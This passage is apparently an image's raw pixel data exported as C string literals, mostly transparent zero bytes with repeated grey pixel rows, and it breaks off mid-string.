"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\221\216\216\377ppp\377ppp\302pp"
"p\373ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qq"
"qsppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\224\221\221\377ppp\377ppp\321ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\226\222\222\377ppp\377ooo\327ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\226\222\222\377ppp\377ooo\327ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\226\222\222\377ppp\377ooo\327ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\225\222\222\377ppp\377ppp\330ppp\377ppp\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\225\222\222"
"\377ppp\377ppp\330ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377pp"
"pK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\225\222\222\377ppp\377"
"ppp\330ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\225\222\222\377ppp\377ppp\330pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qq"
"qsppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\226\222\222\377ppp\377ppp\331ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\226\222\222\377ppp\377ppp\331ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp"
"\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\226\222\222\377ppp\377ppp\331ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377p"
"pp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp"
"\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377\203\202\202\377\234\230"
